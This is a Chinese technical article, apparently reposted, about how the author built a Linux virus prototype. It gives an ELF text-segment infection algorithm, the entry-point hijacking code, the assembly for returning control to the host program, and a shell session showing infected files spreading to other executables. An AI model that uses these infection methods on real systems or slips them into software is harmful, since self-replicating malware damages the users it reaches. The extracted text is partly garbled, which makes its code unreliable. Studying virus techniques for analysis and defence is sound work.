1、剖析 Linux 病毒原型工作过程和关键环节2007-06-26 09:59 作者： 来源： 赛迪网 一、 介绍 写这篇文章的目的主要是对最近写的一个 Linux 病毒原型代码做一个总结，同时向对这方面有兴趣的朋友做一个简单的介绍。阅读这篇文章你需要一些知识，要对 ELF 有所了解、能够阅读一些嵌入了汇编的 C 代码、了解病毒的基本工作原理。 二、 ELF Infector (ELF 文件感染器) 为了制作病毒文件，我们需要一个 ELF 文件感染器，用于制造第一个带毒文件。对于ELF 文件感染技术，在 Silvio Cesare 的UNIX ELF PARASITES AND VIRUS一文中
2、已经有了一个非常好的分析、描述，在这方面我还没有发现可以对其进行补充的地方，因此在这里我把 Silvio Cesare 对 ELF Infection 过程的总结贴出来，以供参考： The final algorithm is using this information is. * Increase p_shoff by PAGE_SIZE in the ELF header * Patch the insertion code (parasite) to jump to the entry point (original) * Locate the text segment program
3、 header * Modify the entry point of the ELF header to point to the new code (p_vaddr + p_filesz) * Increase p_filesz by account for the new code (parasite) * Increase p_memsz to account for the new code (parasite) * For each phdr whos segment is after the insertion (text segment) * increase p_offset
4、 by PAGE_SIZE * For the last shdr in the text segment * increase sh_len by the parasite length * For each shdr whos section resides after the insertion * Increase sh_offset by PAGE_SIZE * Physically insert the new code (parasite) and pad to PAGE_SIZE, into the file - text segment p_offset + p_filesz
5、 (original) 在 Linux 病毒原型中所使用的 gei - ELF Infector 即是根据这个原理写的。在附录中你可以看到这个感染工具的源代码: g-elf-infector.cg-elf-infector 与病毒是独立开的，其只在制作第一个病毒文件时被使用。我简单介绍一下它的使用方法，g-elf-infector.c 可以被用于任何希望-将二进制代码插入到指定文件的文本段，并在目标文件执行时首先被执行- 的用途上。g-elf-infector.c 的接口很简单，你只需要提供以下三个定义： * 存放你的二进制代码返回地址的地址，这里需要的是这个地址与代码起始地址的偏移，用于返回
6、到目标程序的正常入口 #define PARACODE_RETADDR_ADDR_OFFSET 1232 * 要插入的二进制代码（由于用 C 编写，所以这里需要以一个函数的方式提供） void parasite_code(void); * 二进制代码的结束（为了易用，这里用一个结尾函数来进行代码长度计算） void parasite_code_end(void); parasite_code_end 应该是 parasite_code 函数后的第一个函数定义，通常应该如下表示 void parasite_code(void) . . . void parasite_code_end(void)
7、 在这里存在一个问题，就是编译有可能在编译时将 parasite_code_end 放在parasite_code 地址的前面，这样会导致计算代码长度时失败，为了避免这个问题，你可以这样做 void parasite_code(void) . . . void parasite_code_end(void) parasite_code(); 有了这三个定义，g-elf-infector 就能正确编译，编译后即可用来 ELF 文件感染 face=Verdana 三、病毒原型的工作过程 1 首先通过 ELF Infector 将病毒代码感染到一个 ELF 文件，这样就创造了第一个带毒文件，后续的传
8、播就由它来完成。 2 当带毒文件被执行时，会首先跳到病毒代码开始执行。 3 病毒代码开始发作，在这个原型里，病毒会直接开始传播。 4 病毒遍历当前目录下的每一个文件，如果是符合条件的 ELF 文件就开始感染。 5 病毒的感染过程和 ELF Infector 的过程类似，但由于工作环境的不同，代码的实现也是有较大区别的。 6 目前传染对 ELF 文件的基本要求是文本段要有剩余空间能够容纳病毒代码，如果无法满足，病毒会忽略此 ELF。对于被感染过一次的 ELF 文件，文本段将不会有剩余的空间，因此二次感染是不会发生的。 7 病毒代码执行过后，会恢复堆栈和所有寄存器（这很重要） ，然后跳回到真正的可
9、执行文件入口，开始正常的运行过程。 上面对病毒原型的工作过程的介绍也许显得千篇一律了，和我们早就熟知的关于病毒的一些介绍没有什么区别？是的，的确是这样，原理都是类似的，关键是要看实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。 四、关键技术问题及处理 1 ELF 文件执行流程重定向和代码插入 在 ELF 文件感染的问题上， ELF Infector 与病毒传播时调用的 infect_virus 思路是一样的： * 定位到文本段，将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉 ELF 文件的格式，将病毒代码复制到文本段尾部后，能够根据需要调整文本段长度改变所影响到的后续段(
10、segment)或节(section)的虚拟地址。同时注意把新引入的文本段部分与一个.setion建立关联，防止 strip 这样的工具将插入的代码去除。还有一点就是要注意文本段增加长度的对齐问题，见 ELF 文档中的描述： p_align As Program Loading later in this part describes, loadable process segments must have congruent values for p_vaddr and p_offset, modulo the page size. * 通过过将 ELF 文件头中的入口地址修改为病毒代码地址
11、来完成代码重定向： /* Modify the entry point of the ELF */ org_entry = ehdr-e_entry; ehdr-e_entry = phdrtxt_index.p_vaddr + phdrtxt_index.p_filesz; 2 病毒代码如何返回到真正的 ELF 文件入口 方法技巧应该很多，这里采用的方法是 PUSH+RET 组合： _asm_ volatile ( . “return:nt“ “push $0xAABBCCDDnt“ /* push ret_addr */ “retn“ :); 其中 0xAABBCCDD 处存放的是真正的程
12、序入口地址，这个值在插入病毒代码时由感染程序来填写。 五、 新编译环境下的调试方法 grip2linux:/tmp/virus ls g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h 调整 Makefile 文件，将编译模式改为调试模式，即关掉-DNDEBUG 选项 grip2linux:/tmp/virus cat Makefile all: foo gei gei: g-elf-infector.c gvirus.o gcc -
13、O2 $ make gcc foo.c -o foo gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG 先获取病毒代码长度，然后调整 gvirus.c 中的#define PARACODE_LENGTH 定义 grip2linux:/tmp/virus. /gei -l objdump -d gei grep aabbccdd 8049427: 68 dd cc bb aa push $0xaa
14、bbccdd grip2linux:/tmp/virus objdump -d gei grep “ 08048d80 : 8049450: e9 2b f9 ff ff jmp 8048d80 grip2linux:/tmp/virus objdump -d gei grep “:“ 08048d80 : 0x8049427 与 0x8048d80 相减即获得我们需要的偏移，用这个值更新 gvirus.h 中的#define PARACODE_RETADDR_ADDR_OFFSET 宏的值 重新编译 grip2linux:/tmp/virus make clean rm *.o -rf rm
15、 foo -rf rm gei -rf grip2linux:/tmp/virus make gcc foo.c -o foo gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG grip2linux:/tmp/virus ls gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c g-elf-infector.c gunistd.h g
16、virus.h foo Makefile parasite-sample.h 建立一个测试目录，测试一下 grip2linux:/tmp/virus mkdir test grip2linux:/tmp/virus cp gei foo test grip2linux:/tmp/virus cd test grip2linux:/tmp/virus/test ls gei foo grip2linux:/tmp/virus/test cp foo h 制作带毒程序 grip2linux:/tmp/virus/test. /gei h file size: 8668 e_phoff: 00000
17、034 e_shoff: 00001134 e_phentsize: 00000020 e_phnum: 00000008 e_shentsize: 00000028 e_shnum: 00000025 text segment file offset: 0 15 sections patched grip2linux:/tmp/virus/test ll total 44 -rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h -rwxr-xr-
18、x 1 grip2 users 8668 2004-12-13 07:50 foo 运行带毒程序 grip2linux:/tmp/virus/test. /h . . gei foo h .backup.h real elf point grip2linux:/tmp/virus/test ll total 52 -rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h -rwxr-xr-x 1 grip2 users 12764 2004-12-1
19、3 07:51 foo 测试上面带毒程序运行后，是否感染了其他 ELF 程序 grip2linux:/tmp/virus/test. /foo . . gei Better luck next file foo h Better luck next file .backup.h Better luck next file real elf point OK，成功 grip2linux:/tmp/virus/test cp. ./foo hh grip2linux:/tmp/virus/test ll total 64 -rwxr-xr-x 1 grip2 users 18307 2004-12
20、-13 07:51 gei -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h -rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo grip2linux:/tmp/virus/test. /foo . . gei Better luck next file foo h Better luck next file .backup.h Better luck next file hh real elf point grip2linux:/tmp/virus/test 六、总结 由于我既不是一个 virus coder 也不是一个 anti-viruscoder，所以对病毒技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确，分析不够到位，还请指正，谢谢。
